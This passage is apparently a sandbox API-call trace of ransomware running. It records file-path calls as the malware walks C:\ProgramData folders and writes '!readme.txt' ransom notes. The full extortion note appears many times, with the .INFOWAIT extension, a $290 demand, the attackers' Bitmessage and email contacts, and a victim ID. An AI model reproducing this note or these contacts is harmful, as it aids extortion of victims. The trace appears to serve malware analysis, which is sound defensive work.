databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004" [0113.686] lstrcatW (in: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004", lpString2="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" | out: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40") returned="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" [0113.688] PathFindExtensionW (pszPath="C:\\ProgramData\\Adobe\\!readme.txt") returned=".txt" [0113.689] PathFindFileNameW (pszPath="C:\\ProgramData\\Adobe\\Acrobat\\") returned="Acrobat\\" [0113.689] PathFindFileNameW (pszPath="C:\\ProgramData\\Adobe\\") returned="Adobe\\" [0113.689] PathFindFileNameW (pszPath="C:\\ProgramData\\") returned="ProgramData\\" [0113.689] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.689] PathFindFileNameW (pszPath="") returned="" [0113.689] PathFindFileNameW (pszPath="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\") returned="10.0\\" [0113.689] PathFindFileNameW (pszPath="C:\\ProgramData\\Adobe\\Acrobat\\") returned="Acrobat\\" [0113.689] PathFindFileNameW (pszPath="C:\\ProgramData\\Adobe\\") returned="Adobe\\" [0113.689] PathFindFileNameW (pszPath="C:\\ProgramData\\") returned="ProgramData\\" [0113.689] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.689] PathFindFileNameW (pszPath="") returned="" [0113.689] PathFindFileNameW (pszPath="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\") returned="Replicate\\" [0113.690] PathFindFileNameW (pszPath="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\") returned="10.0\\" [0113.690] PathFindFileNameW (pszPath="C:\\ProgramData\\Adobe\\Acrobat\\") returned="Acrobat\\" [0113.690] PathFindFileNameW (pszPath="C:\\ProgramData\\Adobe\\") returned="Adobe\\" [0113.694] PathFindFileNameW (pszPath="C:\\ProgramData\\") returned="ProgramData\\" [0113.694] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.694] PathFindFileNameW (pszPath="") returned="" [0113.719] PathFindFileNameW (pszPath="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\") returned="Security\\" [0113.719] PathFindFileNameW (pszPath="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\") returned="Replicate\\" [0113.719] PathFindFileNameW (pszPath="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\") returned="10.0\\" [0113.719] PathFindFileNameW (pszPath="C:\\ProgramData\\Adobe\\Acrobat\\") returned="Acrobat\\" [0113.719] PathFindFileNameW (pszPath="C:\\ProgramData\\Adobe\\") returned="Adobe\\" [0113.719] PathFindFileNameW (pszPath="C:\\ProgramData\\") returned="ProgramData\\" [0113.719] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.719] PathFindFileNameW (pszPath="") returned="" [0113.719] PathFindExtensionW (pszPath="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\directories.acrodata") returned=".acrodata" [0113.720] PathFindFileNameW (pszPath="C:\\ProgramData\\Adobe\\ARM\\") returned="ARM\\" [0113.720] PathFindFileNameW (pszPath="C:\\ProgramData\\Adobe\\") returned="Adobe\\" [0113.720] PathFindFileNameW (pszPath="C:\\ProgramData\\") returned="ProgramData\\" [0113.720] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.720] PathFindFileNameW (pszPath="") returned="" [0113.720] PathFindFileNameW (pszPath="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\") returned="Reader_10.0.0\\" [0113.720] PathFindFileNameW (pszPath="C:\\ProgramData\\Adobe\\ARM\\") returned="ARM\\" [0113.720] PathFindFileNameW (pszPath="C:\\ProgramData\\Adobe\\") returned="Adobe\\" [0113.720] PathFindFileNameW (pszPath="C:\\ProgramData\\") returned="ProgramData\\" [0113.720] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.720] PathFindFileNameW (pszPath="") returned="" [0113.743] PathFindExtensionW (pszPath="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp") returned=".msp" [0113.744] PathFindExtensionW (pszPath="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10110_MUI.msp") returned=".msp" [0113.744] PathFindExtensionW (pszPath="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10116_MUI.msp") returned=".msp" [0113.744] PathFindFileNameW (pszPath="C:\\ProgramData\\Application Data\\") returned="Application Data\\" [0113.744] PathFindFileNameW (pszPath="C:\\ProgramData\\") returned="ProgramData\\" [0113.744] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.744] PathFindFileNameW (pszPath="") returned="" [0113.744] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x6edbe8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0113.744] PathAppendW (in: pszPath="C:\\ProgramData\\Application Data\\", pMore="!readme.txt" | out: pszPath="C:\\ProgramData\\Application Data\\!readme.txt") returned 1 [0113.744] PathFileExistsW (pszPath="C:\\ProgramData\\Application Data\\!readme.txt") returned 1 [0113.745] PathFindFileNameW (pszPath="C:\\ProgramData\\Documents\\") returned="Documents\\" [0113.745] PathFindFileNameW (pszPath="C:\\ProgramData\\") returned="ProgramData\\" [0113.745] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.745] PathFindFileNameW (pszPath="") returned="" [0113.745] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x6edbe8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0113.745] PathAppendW (in: pszPath="C:\\ProgramData\\Documents\\", pMore="!readme.txt" | out: pszPath="C:\\ProgramData\\Documents\\!readme.txt") returned 1 [0113.745] PathFileExistsW (pszPath="C:\\ProgramData\\Documents\\!readme.txt") returned 0 [0113.745] lstrcpyW (in: lpString1=0x24b0118, lpString2="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004" | out: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004") returned="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004" [0113.745] lstrcatW (in: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004", lpString2="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" | out: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40") returned="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" [0113.747] PathFindFileNameW (pszPath="C:\\ProgramData\\Favorites\\") returned="Favorites\\" [0113.747] PathFindFileNameW (pszPath="C:\\ProgramData\\") returned="ProgramData\\" [0113.747] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.747] PathFindFileNameW (pszPath="") returned="" [0113.748] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x6edbe8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0113.748] PathAppendW (in: pszPath="C:\\ProgramData\\Favorites\\", pMore="!readme.txt" | out: pszPath="C:\\ProgramData\\Favorites\\!readme.txt") returned 1 [0113.748] PathFileExistsW (pszPath="C:\\ProgramData\\Favorites\\!readme.txt") returned 0 [0113.748] lstrcpyW (in: lpString1=0x24b0118, lpString2="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004" | out: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004") returned="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004" [0113.748] lstrcatW (in: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004", lpString2="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" | out: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40") returned="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" [0113.751] PathFindFileNameW (pszPath="C:\\ProgramData\\Microsoft Help\\") returned="Microsoft Help\\" [0113.751] PathFindFileNameW (pszPath="C:\\ProgramData\\") returned="ProgramData\\" [0113.751] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.751] PathFindFileNameW (pszPath="") returned="" [0113.751] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x6edbe8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0113.751] PathAppendW (in: pszPath="C:\\ProgramData\\Microsoft Help\\", pMore="!readme.txt" | out: pszPath="C:\\ProgramData\\Microsoft Help\\!readme.txt") returned 1 [0113.751] PathFileExistsW (pszPath="C:\\ProgramData\\Microsoft Help\\!readme.txt") returned 0 [0113.776] lstrcpyW (in: lpString1=0x24b0118, lpString2="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004" | out: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004") returned="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004" [0113.776] lstrcatW (in: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004", lpString2="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" | out: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40") returned="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" [0113.794] PathFindExtensionW (pszPath="C:\\ProgramData\\Microsoft Help\\!readme.txt") returned=".txt" [0113.794] PathFindExtensionW (pszPath="C:\\ProgramData\\Microsoft Help\\Hx.hxn") returned=".hxn" [0113.794] PathFindExtensionW (pszPath="C:\\ProgramData\\Microsoft Help\\MS.EXCEL.14.1033.hxn") returned=".hxn" [0113.794] PathFindExtensionW (pszPath="C:\\ProgramData\\Microsoft Help\\MS.EXCEL.DEV.14.1033.hxn") returned=".hxn" [0113.794] PathFindExtensionW (pszPath="C:\\ProgramData\\Microsoft Help\\MS.GRAPH.14.1033.hxn") returned=".hxn" [0113.794] PathFindExtensionW (pszPath="C:\\ProgramData\\Microsoft Help\\MS.GROOVE.14.1033.hxn") returned=".hxn" [0113.794] PathFindExtensionW (pszPath="C:\\ProgramData\\Microsoft Help\\MS.INFOPATH.14.1033.hxn") returned=".hxn" [0113.794] PathFindExtensionW (pszPath="C:\\ProgramData\\Microsoft Help\\MS.INFOPATHEDITOR.14.1033.hxn") returned=".hxn" [0113.794] PathFindExtensionW (pszPath="C:\\ProgramData\\Microsoft Help\\MS.MSACCESS.14.1033.hxn") returned=".hxn" [0113.794] PathFindExtensionW (pszPath="C:\\ProgramData\\Microsoft Help\\MS.MSACCESS.DEV.14.1033.hxn") returned=".hxn" [0113.794] PathFindExtensionW (pszPath="C:\\ProgramData\\Microsoft Help\\MS.MSOUC.14.1033.hxn") returned=".hxn" [0113.794] PathFindExtensionW (pszPath="C:\\ProgramData\\Microsoft Help\\MS.MSPUB.14.1033.hxn") returned=".hxn" [0113.794] PathFindExtensionW (pszPath="C:\\ProgramData\\Microsoft Help\\MS.MSPUB.DEV.14.1033.hxn") 